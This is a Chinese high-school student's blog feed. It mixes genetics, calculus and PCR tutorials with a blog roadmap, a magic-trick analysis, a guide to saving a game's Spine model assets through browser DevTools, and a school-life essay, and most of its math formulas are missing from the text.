JustPureH2O 的博客

未来流水账｜待办记录

Fri, 14 Nov 2025 14:03:23 GMT

本文用来收集我个人对博客新功能/新活的构想，并以时间轴的形式记录在下，会顺便附上进度。因为本人目前高三，暂时没有时间将它们一一实装出来。本文将对这些构想进行整合记录，并附上预计的完成时期（跨度较大，仅作参考）。为了留下一些悬念，部分想法只是给出了其缩写名称（可以理解为代号），等到真正确定要做了之后再慢慢揭露它们的全称、内容等核心元素。

2025#

“十年之约”页面——更美观的记录博客运行时长的方式（2025-11 已实现）

完成对《圆锥曲线解题指导及二级结论》的补充（学业原因，推迟至百日誓师 2026.3.1 左右）（90%）

2026#

[JSS] 随笔站 JustSheerScribbles https://scribbles.justpureh2o.cn/——与主站学术性文章分离

JustALab——小工具集合站（主页施工中，预计26年7月开放）

BA-Memory & Midotalk 自动化工作流——自动获取更新并提取最新的回忆大厅模型/Momotalk 文件

JustReminiscence——友链展示界面/申请表美化 & 友链朋友圈（RSS 订阅功能）（新建文件夹阶段）

CrossReference——带悬浮提示框的注解插件，引用其他文章时弹出侧边小窗口

将博客迁移至 Astro，部署方式更改为 Netlify——筹备阶段

其他待办事项（日期未定，实装未定）：#

TPoT Fes（2030 前）

不定期完成/搁置的任务（附原因）：

AzuSHA——本站专用的基于 SHA 计算的 Attack Challenge 中间件（Vercel 暂无法实现）

9331 物语：高中生物遗传学浅究

Sun, 12 Apr 2026 00:00:00 GMT

前言：如何阅读本文 & 引用须知#

我将本文的读者大致分为三类：初学者、备考者和兴趣者。

如果你是高一/高二或初次接触高中遗传学的学生，你大概率就是上述的“初学者”。你目前的重心是理解遗传学的基层原理，多动手，从零开始推演，以积累经验。在此阶段，你不必过多注重规律性解法，而是在题目的练习中感悟技巧和规律。在对遗传学题目有一定深层理解后再来深究技巧性解法。

如果你是准高三/高三备考生，你就属于上述的“备考者”。我们假定你已对遗传学有较为深入的感悟，此时你需要积累解题技巧，培养考场快速准确的解题能力。

如果你不属于上面的任何一类，但是对此类问题感兴趣，你就属于上述的“兴趣者”。你可以作为本文的鉴赏者，指出本文描述不够浅显或缺乏深度之处，在评论里给出建议，帮助完善本文。

如你想要引用/转载本文，请注明出处及原文链接，例：“本文出自 JustPureH2O——《9331 物语：高中生物遗传学浅究》，原文地址：https://justpureh2o.cn/articles/9331/ ”。

阅读愉快！

前置知识#

目前（2026），人教版高中生物遗传学位于必修第二册，一般在高一下学期教学；而遗传学题目中可能涉及到的一些数学知识（尤其是条件概率），则位于选择性必修第三册，对应教学时间一般在遗传学之后。为了减少部分读者的理解负担，在此对这些前置知识进行简要说明。

积事件、和事件、条件概率与全概率#

定义

和事件：假设有事件和事件，则的和事件（又称并事件）记作，表示中至少发生一个事件的概率。

积事件：假设有事件和事件，则的积事件（又称交事件）记作或，表示两事件同时发生的概率。当两事件相互独立时，（反之也可通过这个公式推出两事件相互独立），否则。

条件概率：假设有事件和事件，且，则称为事件发生的条件下事件的条件概率。

全概率：设一组事件和单一事件，若事件组满足，那么。

实例理解

全概率可以总结为“东拼西凑”。例如，你带了很多轻小说去学校看，被若干个同学各借走一些书（事件组），放假了，你想要回这些书，那么就会分别从借走你书的同学那里拿回属于自己的那一份【对积事件求和】，同学不一定只借你的书，但你只会拿回自己买的小说。这个“从局部拼凑出整体”的过程就是全概率的核心所在。有同学读完之后反映说还要从班主任那里拿被收掉的小说，我非常赞同，故闲话一句。

条件概率可以总结为“缩小范围”。例如，同学想借你的轻小说看（事件），对方说：“我只要百合”（前提条件，事件），那你就只能从百合小说中找书。这个“只从符合前提要求的选项中再选择目标”的过程就是条件概率的精髓所在。

事件的独立可以总结为“前后连锁”。事件的独立初见非常反直觉，它并非“事件间毫无关联”，相反的，两个互斥（不能同时发生）事件一定不是相互独立的。还是上文的轻小说例子，某同学在寝室里看借来的小说（事件），然后班主任例行查寝，刚好看到你在看小说，于是把书收了（事件）。无论你看不看小说，班主任都可能走进来查寝。像这样，两事件不互相影响，即为独立。反之，如果你知道今天班主任来查寝，而且带了小说来看（事件），那么你被查收（事件）的概率将大幅降低。此时二者相互影响，不独立。

接下来通过几个例子详细辨析这几个知识点在高中生物遗传学题目中的运用。

2022届重庆市高三一诊生物试题（积事件相互独立）

根据系谱图，分析出这是常染色体隐性遗传病。可知均杂合，那么个体就是（这里运用条件概率，在已知不患病的条件下重置纯合子和杂合子的比例）。

相应地，可以推出个体一定是。此时求患病男孩概率，因为该对基因在常染色体上，与性别无关（除非特殊说明），二者独立。患病男孩概率即。

湖南省2024-2025学年高一下学期期末考试生物试题（积事件不相互独立）

本题选项要求计算婚配生下患病儿子的概率。双亲基因型为：，母亲为（此处运用条件概率重置了人群中正常女性的概率）。

题干“患病儿子”转换为“患病”和“生下儿子”的积事件。接下来关注两事件是否独立。

据伴性遗传知识可得，该类遗传病在男女群体中发病概率不同，因为伴性遗传病在遗传上与性别相关联（教材定义）。判断二者不独立，我们只能用配子法来计算。

我们只关心患病，因此只需关注产生的情况。母亲有的几率产生配子，而且要求是男性，父亲又有概率产生配子。亲本配子的组合是独立的，最终概率为。

广东省汕头市金平区汕头市金砂中学2025-2026学年高二上学期1月期末生物试题（条件概率）

本题要求计算婚配后儿子患病的概率。“儿子患病”看似只是“患病儿子”的语序调换，其实其中隐含了一层条件概率——“生儿子”的条件下“患病”的概率。对于人类来说，生儿生女均为一半概率，答案即为“患病儿子概率”除以“生儿子概率”。

父亲基因型为，母亲为，答案。需要注意的是，此处“患病”和“男孩”依然不独立，需要谨慎计算。

除开公式计算，更加直观的方法是手动排除不符条件的情况，即只把男性后代的基因型及比例求出，然后计算出其中患病个体的占比。本题中男性后代基因型及比例为，患病个体占。

要点

常染色体基因的遗传，一般与性染色体分配（后代性别）独立；伴性遗传病的相关基因的遗传，一般与性染色体的分配（后代性别）不独立，可用配子法计算。对于某些多因素性别决定的生物（喷瓜等），具体情况具体分析。

“患病男性”是积事件；“男性患病”是条件概率，需除以“生男孩”的概率。

一对、两对与多对等位基因的遗传#

一对等位基因的遗传#

对应孟德尔所做的高茎矮茎的豌豆杂交实验：纯合高茎（）与纯合矮茎（）杂交得子一代全为高茎杂合（），子一代全部自交，得到子二代高茎矮茎的分离比；子一代与亲本矮茎回交，出现的分离比。这些分离比是如何得到的？

首先来看子一代自交。相当于，为方便区分，据来源标为。配子与组合，与组合，最终得到，整理一下就是，高茎矮茎为的分离比。

接下来看测交。同上可得，，高矮个体相等。

基于此，我们可以得到以下几个单对基因的常见遗传规律，建议背诵：

杂合子自交：显性隐性分离，纯显杂合纯隐。已知显性，纯合杂合。
杂合子测交：显性隐性分离，杂合纯隐。显性必杂合。
未知显隐性，杂合自交可判断，占比大的为显性；杂合子测交不可判断显隐性。

两对等位基因的遗传#

对应孟德尔所做的黄色圆粒和绿色皱粒的豌豆杂交实验：黄色圆粒（，简称黄圆）与绿色皱粒（，简称绿皱）杂交得子一代全为黄圆（），子一代全部自交，得到子二代黄圆黄皱绿圆绿皱的分离比。

这两对等位基因位于非同源染色体上。教材上给出的解题方法是推出配子，然后组合，这里不再赘述。但我们既已知道两对基因独立遗传，我们可以将两个基因分开做杂合子自交，然后相乘得基因组合后的出现概率。

因此自交后，同时有。黄圆（）就是份；黄皱（）为份……同理也可推出的分离比。

题目中常出现基因连锁的情况，若不考虑互换，此时较为简便又不易混淆的方法是：仅保留一个存在连锁的基因，推完比例后再将与之连锁的基因放回去。此时我们假定上述两对基因存在与的连锁，推演时就可看做或自交，假如保留，那么后代，加入后为，即黄皱黄圆绿圆。

为什么我选择迁移博客到 Astro

Sat, 21 Mar 2026 00:00:00 GMT

本博客最初基于 Hexo 框架搭建（目前已迁至 https://hexo.justpureh2o.cn/），但是 Hexo 框架有诸多不便：

没有实时预览：对文件做更改后需要重新运行 hexo s 来预览
组件自定义不便：除开主题提供的配置项以外，如果想对组件进行深度自定义，则需要修改主题源码，主题源码定位较麻烦
自定义插件麻烦：自定义插件需要注册
加载效率低下：没有 Astro 的图像资源压缩功能，图像/字体资源存储依赖于图床、其他仓库，拖慢加载速度

基于以上种种，我在 2025 年底开始计划将博客迁移至 Astro，并在 2026 年除夕初步完成新博客的部署。目前，本博客基于 Astro 框架搭建，Fuwari/Firefly 主题配置。

部署后的博客的 Lighthouse 评分基本在 75/95/95（性能/无障碍/最佳做法），相较原博客有很大提升。

由于本人仍处于高三备考状态，针对博客的深度自定义将择日进行。望多多支持！

2026 春晚数字魔术解密

Sat, 21 Feb 2026 00:00:00 GMT

须知

本文仅对 2026 总台春晚的魔术节目《惊喜定格》做数字魔术部分内容的解析，并非全魔术（水杯戒指魔术）的解析。

节目回顾邓男子——《惊喜定格》

顺序梳理#

这个魔术大致分为几步：

随机挑选两名观众，分别报出一个四位数（）和五位数（）。将这两个数加起来（）
生成一串“不可能被任何人操纵的数字”。随机找若干人，每人随机在计算器上按一两下。得到一个大数（）。
将前两步得到的数字再加起来，得到结果。

紧接着揭秘：代表得出结果的当前时间 2 月 16 日 22 点 27 分。

核心诡计#

这个魔术的核心不在于随机数的生成。事实上，在于邓男子本人手机计算器中的玄机。

最开始给出随机数的两个人确实没有什么串通（几率极小），那玄机只能在那串“不可能被任何人操纵的数字”里，事实上，邓男子本人就在操纵它！

作出这个论断的原因很简单：但凡在生成大数的过程中有一人按到了操作符（加减乘除、小数点、等于号），魔术就会失效。

由于摄像机角度的问题，我们无法得知第一个人在计算器上按了几次，但是后面连续三个人各按了两次，看上去和大数位数（7 位）基本相符。他在第二个人按完后确认了一下结果（）。即将到达第四个人时还说了一句“没时间了”，随即转身返回台上，此时大约是 22:27:05

紧接着他就得到了数字，并说了差不多 40 秒的台词。举起手机，背后大屏上显示着 22:27:43.

综上推断：邓男子一定在下台获取大数前就做好了设置，当时大约是 22:26，那么将伪装成计算器的手机程序的目标时间设定成一分钟后，由程序输出计算后的结果，无论台下怎么按手机，结果都是预定好的。

观后感#

水杯魔术一结束，主持人就让我们拿出计算器自己尝试他的魔术。我在想这大概是继 2024 年刘谦的约瑟夫环魔术后再一个能吸引我的数字魔术了，心中的期待值自然就上升了。上次我在全家面前把刘谦魔术的背后原理给解明了，于是今年他们又让我来尝试解释这个魔术。

在邓男子得出结果（2 月 16 日 22:27，恰好是魔术节目直播的时间）时，我着实惊讶了一下，但这惊讶不是为他得到的结果，而是我居然没第一时间看出来这是此时此刻的时间。随后而来的是失望——如果说两年前刘谦的魔术基于“广义的真理”，那么这次的魔术就建立在“狭义的真理”上，你很难再去一模一样的复刻。这也是我认为今年的魔术远不如刘谦魔术的原因。

[秋星曜野桂月垂光] 星野模型提取

Sun, 02 Nov 2025 04:42:05 GMT

Warning

本文章仅做学习参考用，严禁将所得模型用于商业用途。本文并非破解，所有图像资源解释权均归 Yostar 所有

为什么会有这篇文章#

之前心血来潮做了一个 BA 回忆大厅的播放器 BA-Memory：

BA Memory - Personal adaptation and online simulator for Memory Lobbies in BlueArchive

它主要是用来在线播放解包出的回忆大厅 .skel 格式文件。某一天我冲浪时突然发现 BA 国服的新 H5 活动，感觉中秋款星野还是太戳人了，上网搜索一圈好像也没有现成的已经提取好的模型文件，于是我决定自己去提取。

获取 H5 活动 URL#

这个活动网页似乎只在 APP 内有入口，搜索引擎应该没有收录。从开发的角度来说，这样设计可以一定程度上避免浏览器窗口比例不同带来的界面布局问题。但是这样会对提取带来麻烦，因为游戏内浏览器并不能用我们喜闻乐见的 F12 开发者模式，我们首先就需要得到网页活动的 URL 地址。

一般来说，断网之后再点击活动入口，弹出的内部浏览器组件就会因为没有网络连接而输出错误信息。这些错误信息一般都是“无法访问某某 URL 地址”。通过此法，我们顺利找到了 URL 地址 https://bluearchive-cn.com/webview/midautumn2025/。插一句嘴，尽管活动时间写的是 10 月 16 日结束，但是截至完稿（11 月 2 日）该网站都还能正常进入，不知道里面的小游戏还能不能玩。

截获请求提取文件#

打开 F12，切到“网络”选项卡，开始录制网络请求并刷新界面。在截获到的所有请求中，我们首先能大致辨别出的元素就是背景贴图，因为它们并没有做加密，而且很容易就看出有星野的衣服贴图。最终我们初步锁定星野所在的模型贴图，是两个 2048×2048 的贴图（红框标出的是另一张贴图）。

我们先把贴图下载了，保存好。相应的动画文件也应该不远，我们可以搜寻得到若干 json 文件，其一如下：

事实上在后续的探索中，我们可以发现这就是我们需要的文件。我们展开第五项，可以得到下图结构：

根据名称可以大致猜出每一项的内容，其中 role（角色）、sea（大海）和 slogan（标语）是我们特别要关注的。先看 role 这一项，根据名称，它很可能就是星野的模型所在地。继续深入：

如果你熟悉 Spine 动画的 atlas 图像集文件格式，你会发现下标为 2 的项出现了这一格式。这证明我们找对方向了。首先将它保存为 role.atlas 文件。

打开下标为 4 的项，内容显然是 json 格式。如果你又对 Spine 动画的 json 导出格式比较熟悉，那么可以立马判断出这就是编码动画的文件。

一般来讲，BA 的回忆大厅使用的是二进制导出格式，即 skel，这样可以节约存储空间，但牺牲了文件可读性；而 json 格式则相反，它的体积更大，但是可读。网页 H5 使用的就是后者，甚至没做混淆/加密。因此我们将它另存为 role.json，连同章首找到的两个贴图文件一起，分别另存为 role.png 和 role2.png，并与 role.atlas、role.json 保存在同一目录下。

如果你想本地实时预览模型，建议使用 Spine 官方提供的模型查看器 Skeleton Viewer（本模型对应查看器 3.8.99 版本）。如果你发现贴图有问题，那么请试着将两个贴图文件的文件名互换，注意一定要开启“预乘 Alpha”（Premultiplied）选项。至此我们便完成了模型的提取工作。

[论导必洛] 高中数学导数常见题型及解题策略详解

Sat, 13 Sep 2025 03:33:46 GMT

前言#

洛必达永远都是高中数学导数教学中一个无法回避的话题。在这里用一个情景对话，让读者能够更加深切的感受到它的重要性（对话可交互）：

创意来自于写作《[奇技淫巧] 面向高中生の洛必达法则简述》时所看到的一篇博客文章里的梗图，原文网址丢失了。嵌入式框架由 Midotalk 驱动。

如何求导#

非常关键的一步，是快乐地套用洛必达求极限求解一切导数题的基础。在本文正式开始之前，有必要再去帮助一些同学重新召回他们死去的记忆。

若函数可导，那么函数在处的切线斜率即为在处的导数。

高中阶段，导数等价于过函数上某一点的切线斜率；导函数则反映了某区间所有点的导数值与自变量的关系，导函数记作，将横坐标代入函数自变量即得点处的切线斜率。

初等函数求导法则#

求导的基本过程是：将原函数分为一个个初等函数，并根据这些初等函数的导函数、以及这些初等函数之前的四则运算关系拼凑出原函数的导函数。高中阶段的初等函数及其求导值如下表，应当牢牢记住：

初等函数	导函数

对于指数函数和对数函数，平常考试中基本只会出现相关的函数，以任意数为底/底数的求导是基本不会出现的。根据上表可得指数函数和对数函数在特殊情况下的导函数：

如果原函数是根式，根据指数相关知识可得，，求导即得。

导函数的四则运算#

导函数又有以下的四则运算法则：

运算	公式	口诀

		前导后不导加后导前不导
		上导下不导减下导上不导

如果考试时遇到了诸如的函数，要对它求导算最值怎么办，我们可以通过取对数的方法将幂运算转化成乘运算，即；你也可以用接下来要讲的复合函数求导法则进行运算。

如果函数不是初等函数，但它是多个初等函数组成的“初等函数型”函数。我们可以用复合函数求导求出它的导函数。例如函数，它是由组成的反比例型（幂函数型）初等函数，求导的方法是：先对组成它的函数（本例中为）求导，接着把当成自变量，再对被组成的初等函数（本例中为）求导，二者相乘即得结果，即：

如果你实在拿不准，可以通过上面讲的导数的四则运算进行求解。

零点存在性定理#

零点存在性定理告诉我们：函数在闭区间上连续可导，且满足，那么该函数在上至少有一个零点；若该函数还满足在上单调，那么在内有唯一零点。

一个很好的例子是，它有，但是在上有两个零点。而函数在上单调递增，且端点函数值相乘等于，因而在区间内它有唯一零点。

解题策略#

参变分离#

参变分离，顾名思义：是将参数与变量分离的转化方式。把待求的参数用只含的代数式表示出来，并依据此构造新函数，即可将问题简化成新函数与直线的交点相关问题。适用于待求参数不是很多、较易用表示出的题目中。

例 2.1
函数在上恒成立，求的取值范围。

在本题中，我们要求的是，此时将在任意实数值见变化，因而视作变量，而视作一次项的参数。那么我们将含参数的项放到不等式一侧，其余的放在另一侧，可得：。

根据题中给定的的范围（正实数），我们可以放心地不等号两侧同除以而无需考虑不等号变号，得到：。

此时我们可以将问题转化成，当时，上式恒成立，也即要求。此时可以将不等式右侧的所有设为一个全新的函数，接下来就可以求导算它的最小值了，具体过程如下：

看到这个式子，我们可以确认的是，仅有一个解！为什么呢？其实要想让，即让，乍一看这个很难求解【但其实把常见的量，例如（本例中显然不行）、、、等代入检验就可以发现是零点】，但实际上在本题中我们可以利用零点存在性定理来判断，我们发现它在定义域内单调递增，因此可以大胆试根，得到为零点。再根据零点两端的导函数值可得，为原函数的极小值点，可知，从而解得。

倒数法#

有时在使用参变分离的过程中，可能会遇到求解诸如的反比例型复合函数时，此时我们不是很容易对原函数进行求导。那么我们可以考虑等号两端取倒数，转化成，并将等号右端的函数的取值范围求出，在倒回来即可得到的范围。

例 2.2
(2023·安庆模拟) 已知函数，讨论导函数的零点个数。

先求出定义域，显然是。

根据题目要求，我们现对函数求导，得：

为什么我们要如此大费周章地将导函数化简？因为题目要我们讨论导函数的零点个数，化简成如上的乘积式有利于我们求出其零点。在平常的解题过程中，如果遇到看似十分复杂的含参函数，那么一定要想方设法地合并同类项，才可更加方便地求极值点。

回归正题，要求零点，即求的解。既然此时唯一的参数是，我的想法是继续化简，从而达到可参变分离的程度：

此时我们就成功把参数和变量分离开来了。但先别急着构造新函数——如果直接拿它构造新函数，求导将会带来不小的麻烦，我们构造新函数（分式型），尽量让分母简单。而且注意到另一个性质：为分母的分式型函数在求导后，分母仍然是，并且分子不会引入。综上理由，可构造新函数，求导可得。轻而易举可以求出导函数的零点为或（的解由于定义域问题舍去了）。我们可以列表来观察其增减性：

再求出诸极值：。此处为方便讨论/计算保留了的值，尽管它不在定义域内。在草稿纸上可以画出对应的的草图，那么，反推可得的取值情况。

综上所述，零点个数的情况为：

洛必达法则*#

经过这么久的铺垫，我们终于可以开始讲解那个为一众高中生所熟知的洛必达法则。

Warning

洛必达法则的内容及证明不属于高中数学考纲，而是属于高等数学，本人不会对在考场上滥用洛必达法则而被扣分一事负相应责任。

洛必达法则的详细证明需要用到柯西中值定理，可自行搜索。

不定式#

笑话一则：英语语法中的 v. + to do sth. 也叫做不定式

在正式开始前插入这么一个小章节，是为了纠正某些同学的错误认知——逢导必洛。在使用洛必达法则前，必须先验证原函数是否符合使用它的条件。我们引入一个记号：，代表当不断趋近于时，的值。

洛必达法则的基本算法是：当分式满足不定式时，有。

不定式可初步分为以下几个类型：、、、、、、。个个都是超标的英雄。其中以型和型最为常见。我们将着重讲解这两种情况。

例 3.1
若，不等式恒成立，求的范围。

同样是先求出定义域，，不影响，仍然属于。此时恒有，我们参变分离得，并构造函数。

对新函数求导得，分子非常的复杂，单次求导无法看出增减性，因此将分子提出来得，求导：，好像还是无法看出正负，继续求导得，不够显然，继续—— 恒成立。倒推回去，为减函数，那么仅有一个零点，试根得，那么就在上单调递减，又有，从而得在上恒成立，所以在区间内单调递减。

就有，放在初中我们会说这是无意义的，但事实却未必然。我的高中数学老师曾云：“在极限的世界里，一切皆有可能！”我们发现它就是不定式中的型，根据洛必达法则，此时。解得。

端点效应/必要性探路#

鉴于考场上使用洛必达法则带来的不确定性，我们墙裂推荐端点效应法。事实上，洛必达能解的题，端点效应都可以解，并且端点值恰好为洛必达法则所趋近的的取值。端点效应所具有的简洁性和无脑性让它成为后洛必达法则时代的考生新宠。

端点效应，亦可称作必要性探路法。通过“导函数在零点附近的导函数值大于/小于来求出‘原函数在零点某侧单调递增/递减’的必要条件，继而证明这个必要条件的充分性”的基本思路来求解相关问题。此类题目中所给区间的端点的函数值恰好是，因而它又得名“端点效应”。

例 4.1
用端点效应，再次求解例 3.1

令函数，将端点值代入，得。要想，那么就有，解得必要条件。

① 当时

一定存在一个，使得在内恒成立，即在上单调递减。那么当时，，不符题意，舍去。

② 当时

放缩可得：。令，恒成立。故，充分性得证。

故是的充要条件。

事实上，几乎所有端点效应的题都可以归结为以下四个步骤：

试端点值，是否为
端点值的导函数大于等于/小于等于，解出参数范围
套模板，证明当参数在解得的范围之外时不符合题意
将解得的范围的端点代入原函数进行放缩，证明充分性

隐零点#

我们知道，求函数的最值，一定是离不开求导并计算导函数变号零点的。比如函数，求导得，零点很容易就能求出，是。然而总不能万事顺遂，有时导函数的零点是一个无理数，就很棘手了，这种情况尤其容易出现在三角函数相关的函数中。隐零点就是用代换来消元，达到求解题目的一种方法。比如下面的例题：

例 5.1
当时，证明。

首先需要整理一下，变成，再对它求导：。遇到这种有分式有幂的形式，先看看能不能因式分解，这个导函数是可以因式分解合并同类项的。。那么导函数的零点就是（舍去）和的解。

求解的精确解是困难的，我们不妨就不求它了。如果此时把导函数零点设为，就有。结合导函数正负题目要求可知是原函数的极小值点。根据解析式计算极小值就是，发现出现了可以做整体代换。那么。又卡住了……

然而回头看看原函数，它里面既有对数，也有指数。遇见这种指数对数共同出现的情况，一定要牢牢记住下面的恒等式，来使它们互相转化：

发现可以变成，极小值就是。因此就有恒成立，得证。

事实上，对两边求自然对数可以得到，同样可以证明它成立。

切割线放缩#

提及证明双变量之差/之和大于/小于某个奇奇怪怪的值，我们第一个会想到切割线放缩。如果题目要求证明形如的不等式，可以将看作线段长度，我们需要找出另外两个点，使得他们永远在的左右两侧。这样就是铁定的事了，再证明即可。为了构造这个，我们选择做原函数的在某点（一般是特殊点，例如零点）的切线，再证明切线恒位于函数的上方或者下方即可。如果此时要证明，就构造割线，同理证明割线在原函数的上还是下。不同的是，构造割线一般就很简单，从零点向极值点连线即可。

对于的形式，考虑单独对构造一条切线，使得恒成立；对于构造割线，使得，即可证明。小于号同理。

事实上，对于构造切线，因为它的构造方式相比割线可能更加灵活。因此有的时候需要你观察的具体形式来构造，并且我建议你构造出直线后先检验一下是否成立。如果带那就尽量朝导函数有的切线上靠拢。

极值点偏移#

由于函数在某区间内的导函数变化不均匀，导致原函数不具备对称性，它在极值点的某侧的变化速度大于另外一侧，这便是极值点偏移的理论基础。

极值点偏移一般有两个大类。第一类是形如（为极值点）的证明，此时的取值一般是广泛的、可移动的，此时就需要构造函数证明单调性求解；第二类是针对于函数零点的，题目中一般都会指明为函数零点，此时用比值换元消去参数较为简便。

墙

Sat, 26 Jul 2025 02:36:15 GMT

盛夏的晌午，或是午后，阳光每每毒辣得令人皱眉。然而教室里总是不缺空调吹的，二十度的凉风只是在课桌间游走，便不再让人体会到七月末的热浪来。放课之后，很是有些我的同窗要走出教室，他们常常是去解手、又或者问先生要题目的解答，每日如是……可是东城的生活总不会一成不变的罢，只消心中多挂念几番，这变化也就如期来了。尽管它有时出现得微不足道，以至人们在匆匆中忽视了它们。这回却无需这等非常的观察的功夫，只要你是放课后那出门散步的一员，倒不费力就能察觉到罢。

薄薄白灰刷的墙壁，想来也多是不耐雨季的恩泽的。这几日，返校或回寝，沿路颇有几处是遭这墙灰袭击的。但地上留下的印迹，许是让最烂但是保洁工去做，也能做得好的。忧心的便在于墙灰的来源——掉落的白皮，却也在廊顶上遗留一片金属色的疮疤……不过幸而偌大的校园里，也仅仅只有见怪不怪的高三在补习知识，他们倒也无所谓修复了。于是到七月下旬，他们竟忽而要张罗着修复了！不为别的，却只为这八月末将要开课的新高一了。将疮疤快快袒露给新人，其合宜乎？——答曰不妥。毕竟高一很是受东城布置装饰、格局食宿之类的鼓动，如此溃疡，决计是不可不办的。于是三两上级便核算几下，一并择个吉日，从田间地头请几个廉价的干活的好手，就于这吉日的上午喊他们劳作了。

修理白墙的程序，倒不如修理七月末过载损坏的空调、以及私了违纪同学的错误那般复杂：专做刮墙的师傅攀上钢管的脚手架，只拿了锈迹的刮刀一铲，疮疤及周围将要损坏的墙皮一齐落到地面，地上专做清理的师傅便把它们扫进簸箕里。待到刮完一圈，先前的师傅又提了几桶腻子、以及一支一人长的滚轮，攀上脚手架，蘸上一轮黄色的腻子便涂。远看也确像伤疤处涂的碘酒之类了。翌日，腻子干透，师傅便取石灰乳，薄薄地盖住那黄色的腻子。石灰再干透便成了新墙，豫备新一年的湿气来损耗了……

你于是会问：“修墙而已，岂无趣哉？”这话倒诚然。然而说出这话的人终究是没在东城生活过的，也无闻东城学生的乐趣了——他们倒不像一些学生，有更多的假期；也不像另一些学生，放学后拎包便回家游戏。这刷墙的工序，却让东城的学生饱了课间的眼福，少部分仍要在晚间自习时想象一番，名曰“发呆”……

我便陈列在这上述的“少部分”之列。在此之前，无非是幻想自己于竞赛拿了几个省一、亦或是如何冲向饭堂而将拦路的上级一齐肘翻在地……而这回见闻，又增添我幻想的素材了。一打眼，只觉自己动弹不得，视角像是高悬，仿佛自己成了这东城白墙的一角了！

我所处的“岗位”，大抵很是受雨季湿气的浸染——于我四周，全是涨得起泡的发软的墙皮了。幸而我只是处在这环形坏斑的中心，仍然还有正常处境待的。墙皮无非是处处吸涨，然而我却分明从其中辨出几个身影来了：

“阿阿，篠瑝君。你也在呵！”我如是开口。可惜这现实总是听不见墙皮间的对话罢！

“嗯，C 君”

我于是向我的名为“篠瑝”的同窗打听道：

“这四周，怎会浮肿的？”

“我想，大抵泡烂了罢！他们总要染些湿气……”

“这块，如何烂的？”我指向上方。可惜这现实总是瞧不见墙皮伸出的手罢。

“我记得：早恋罢！我很有几回是看见他和女生在电话机那卿我的……哼！总不是好东西！”

“这块呢？”我指向下面的。

“我记得：舞弊罢！上回诊断，据说是出了奸细。她竟真从商贩那买来真货了！只是不幸而被抓了现行……啧，竖子欸！”

“阿阿，C 君。我想，这块你定是熟悉的罢！”篠瑝所说的是左边的墙。

“确实，”我答，“晚自习伏在草丛里熏陶吸烟呵……百草华倒说把他们劝退了……哎，我那天仍然是看见他走在东城里的。”

“你便看这坏疮，哪块最后是遭了铲平？先前所说早恋的，体格倒健壮得非常，能考体育上青化南大的；再如舞弊的，也预备在这‘青南’苗子之列的；最后的自不必说：上届高三，要高考，然而通报此类终究是败坏风气，班导教训两句便许他走了。”

篠瑝如是说，可惜这现实总是不相信一片墙皮的所见罢！

“然而假期回校，竟成了一件值得记上严重违纪的下等事呵！”我说的便是右手边的一块了，其中似乎仍荡漾着我所熟知的两个同窗的身影……我决计不再让这噩梦继续进行了，这墙皮的世界太过黑暗！

可是这可悲的现实又不时给人以“墙皮的世界”之感了。放课后只是抬眼一望，便又看见二楼三楼那大半归于黑暗的角落，密密麻麻又冒出许多疮疤了。但它们仍旧只是疮疤，从没有与东城无故的师傅用刮刀抹消之。东城的疮疤，也决有披上人皮的、放课后三两结对地在过道阔论着“治校”的问题的。“东城的疮疤，定是融在那权势林蔽之处，蠢动着要来污染未秽之地了！”

2025 年 7 月 23~25 日，记于东城

高中生物聚合酶链式反应 PCR

Sat, 19 Apr 2025 05:51:16 GMT

前言#

PCR 技术是一种以 DNA 半保留复制为基本原理，在短时间内对目的基因的碱基序列进行大量扩增的技术。两种引物分别结合在目的基因的两侧，经过二到三轮循环，即可产生目的基因序列。由于它扩增高效、自动化水平高，它被广泛应用于遗传学研究中。

PCR 基本知识#

PCR 的前期准备需要以下原料/物质：

缓冲液（含，用以激活 DNA 聚合酶）
四种脱氧核苷酸（实际上为四种脱氧核糖核苷三磷酸：dATP dTTP dGTP dCTP，类比 ATP，三磷酸中的高能磷酸键可水解供能）
两种引物
耐高温的 DNA 聚合酶（通常为 TaqDNA 聚合酶，从水生栖热菌中分离得到）
DNA 模板链

这里最重要的是引物的设计，引物是一种能与 DNA 双链结合的短单链核酸，长度在 20-30 碱基对。因为 DNA 聚合酶只能从 DNA 片段的端开始连接脱氧核苷酸，因而就需要人工设计一个片段，让它与 DNA 链结合，从而让聚合酶正常复制出完整的链。

PCR 分为变性、复性（也称退火）、延伸三步。首先，在的高温条件下处理 DNA 分子，使双链间的氢键断开；接着将温度重新降至左右，让预先设计好的两种引物与 DNA 双链分别结合；最后重新升温至左右，在保证引物不脱离双链的情况下，让耐高温的 DNA 聚合酶（TaqDNA 聚合酶）将游离的脱氧核苷酸结合到引物片段的端（羟基端）并继续结合直到完成双链的复制。如下图：

我们发现，PCR 复性时，引物的结合位点总是更靠近模板链的端。这是因为 DNA 聚合酶复制时子链的延伸方向是端。又因为 DNA 双链是反向平行的，因此引物的端会更接近目的基因的一段，延伸时就可以将目的基因复制出来。如此便是 PCR 的三大基本步骤。

PCR 中的数量关系#

我们在必修二中学过，DNA 半保留复制得到子代 DNA 分子的个数是呈指数级增长的（单个 DNA 经代复制后得到个 DNA 分子）。这是因为每次 DNA 复制后的产物都可作为下一轮复制的模板。

一般地，如果两个引物均未结合在 DNA 两端，那么至少经过三轮循环，才会产生完整的目的基因。如下图：

我们根据分子两条链的相对长短，将扩增产物分为三类——中长链、短中链和短短链，其中短短链为目的基因。不难发现，中长链只会来源于 DNA 两条模板链，因而总数恒定为；多推几个循环可以发现中长链和短中链的总数为，那么短中链的总数为；减去前两种可得目的基因（短短链）的总数为。常规 PCR 会进行约个循环，也就是说在理想情况下，PCR 最终产物将有为目的基因。

再来看引物，发现除了原 DNA 链以外的链都是由引物扩增而来，因此会消耗共个引物分子，均分到每种引物就是条。

那如果有一种引物结合在 DNA 链的端位呢？如下图：

此时仅需经历两轮 PCR 即可得目的基因。如果两种引物均结合在端位，模型退化成 DNA 的半保留复制，实际操作没有意义，故舍去不谈。

反向 PCR 技术#

利用质粒构建表达载体后，我们有时并不确定目的基因的插入位点甚至是方向，这种不确定性在仅用同种限制酶切割质粒、以及质粒上存在多个限制酶切位点时特为尤甚。此时我们就需要获得目的基因两侧的碱基序列，就可通过序列比对来快速确定目的基因的具体插入位置。

反向 PCR 主要在环状 DNA 上进行，因为环形 DNA 意味着原本不相连的两段外序列如今连接在一起，那么就可以用 PCR 的方式一次性扩增出该片段。基本思路与普通 PCR 很相似，唯一不同的是，此时外序列变为目的基因，那么设计的引物就应该结合在外序列的端，即原目的基因的端。余下的内容就是普通 PCR 的范畴了，如下图：

大引物 PCR 技术#

